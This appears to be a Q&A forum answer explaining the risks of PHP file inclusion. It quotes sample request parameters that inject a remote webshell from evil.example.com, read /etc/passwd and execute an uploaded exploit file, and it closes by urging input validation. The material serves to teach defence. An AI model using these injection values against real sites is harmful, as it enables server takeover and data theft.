I see it mentioned in this question:
Including a remote php file as a resource
So how can someone “intercept” (and modify ?) the data that is being sent / received? (In that question it’s a remote PHP file read with fopen)
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This example from Wikipedia that may cognise you of the ill-effects.
COLOR=http://evil.example.com/webshell.txt – injects a remotely hosted file containing a malicious code
COLOR=/etc/passwd – allows an attacker to read the contents of the passwd file on a UNIX system directory traversal
/vulnerable.php?COLOR=C:\ftp\upload\exploit – Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)
I hope from these examples, the lurking dangers are clearer to you.
“Untrusted Data Outside your script requires VALIDATION” to mitigate these attacks.